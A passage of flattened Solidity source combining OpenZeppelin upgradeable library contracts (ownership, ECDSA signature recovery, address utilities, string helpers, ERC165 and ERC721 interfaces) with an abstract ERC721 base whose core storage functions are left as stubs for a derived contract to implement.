!_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../StringsUpgradeable.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(false, 'Implementation required'); return 0; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { require(false, 'Implementation required'); return address(0); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), 'ERC721Metadata: URI query for nonexistent token' ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, 'ERC721: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721: approve caller is not owner nor approved for all' ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), 'ERC721: approved query for nonexistent token' ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved' ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved' ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { require(false, 'Implementation required'); return false; } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), 'ERC721: operator query for nonexistent token' ); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ''); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer' ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual {} /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual {} /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, 'ERC721: approve to caller'); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( 'ERC721: transfer to non ERC721Receiver implementer' ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) 